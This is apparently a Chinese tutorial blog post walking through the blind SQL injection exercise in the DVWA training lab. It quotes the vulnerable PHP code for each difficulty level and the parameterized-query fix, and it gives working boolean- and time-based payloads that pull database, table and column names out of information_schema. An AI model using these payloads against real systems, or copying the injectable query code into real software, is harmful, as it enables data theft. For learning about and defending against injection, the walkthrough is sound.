SQL Injection (Blind)

前言

SQL盲注,即SQL Injection(Blind),与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果(错误回显),而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。

手工盲注思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

 

 

  • Low

服务端核心代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,  当sql语句查询(执行)成功的时候,  页面会给出提示信息:  

User ID exists in the database.; 

否则就显示:

User ID is MISSING from the database

即返回结果只有两种。

 

漏洞利用

首先演示布尔盲注,

正常操作:

 

1.  判断是否存在注入点以及注入类型:

1' and '1'='1

1' and '1'='2

于是存在注入点;  且注入类型为字符型。

 

2.  爆当前数据库

  • 爆数据库长度

首先要判断数据库名的长度,  下面是payload:

1' and length(database())=4#

  • 猜解每一位字母

这里就比较麻烦了, 要利用两个函数

mid()函数:  来截取每一位字母; 

ascii()函数:  将字符转化为数字,  进而用二分法猜解出字符对应的ascii码

爆每一位字符的payload:

1' and ascii(mid(database(),1,1))>110#

下面演示二分法:

1' and ascii(mid(database(),1,1))>110#                报错
1' and ascii(mid(database(),1,1))>100#                报错
1' and ascii(mid(database(),1,1))>99#                正确
1' and ascii(mid(database(),1,1))=100#                正确

由此可见,  第一位字符的ascii码为100, 对应字符为 d

接下来的步骤就是一样的了,  重复上述步骤就可以猜解出数据库为:  dvwa

3. 猜解表的个数

猜解数据库 dvwa 下的所有表个数:

1' and (select count(table_name) from information_schema.tables where table_schema=database())=3#

得知表的个数为 3 个

4. 猜解第一个表的长度

这里用通过 limit 来限制输出的表: (应用二分法)

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

5. 猜解第一张表

爆每一位字符时候就要利用mid()函数了,  payload:

1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110#                报错
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#                正确
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#                错误
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#                正确

得到第一位字符的ascii码为103,  对应字符为 g

然后按照上面的步骤继续猜解就可以得到第一张表的名为:  guestbook

6. 猜解指定表的字段数

假设我们要猜解users表下的所有字段数,  那么方法也是和上面的大同小异

payload为:

1' and (select count(column_name) from information_schema.columns where table_name="users")=11#

7. 猜解第一个字段的长度

和猜解表名一样,  这里先猜解长度,  再逐字猜解。

猜解字段长度的payload:

1' and (select length(column_name) from information_schema.columns where table_name="users" limit 0,1)=7#

8. 猜解第一个字段的每一个字符

1' and ascii(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=117#

如此反复, 就可以得到所有字段名了。(为了不让文章篇幅过长,  就不再一一演示了) 

 

 

  • Medium

服务端核心代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	//mysql_close();
}

?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

 

漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。

这里依然采用十六进制编码的方法来绕过mysql_real_escape_string函数。

之前已经介绍了详细的盲注流程,这里就简要演示几个。

首先是基于布尔的盲注

抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

然后是基于时间的盲注

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

 

 

  • High

服务端核心代码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
	// Get input
	$id = $_COOKIE[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Might sleep a random amount
		if( rand( 0, 5 ) == 3 ) {
			sleep( rand( 2, 4 ) );
		}

		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

 

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1’ and length(mid(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

 

 

  • Impossible

服务端核心代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();

		// Get results
		if( $data->rowCount() == 1 ) {
			// Feedback for end user
			$html .= '<pre>User ID exists in the database.</pre>';
		}
		else {
			// User wasn't found, so the page wasn't!
			header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

			// Feedback for end user
			$html .= '<pre>User ID is MISSING from the database.</pre>';
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

 

 

  • 参考文章

DVWA-1.9全级别教程之SQL Injection(Blind)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值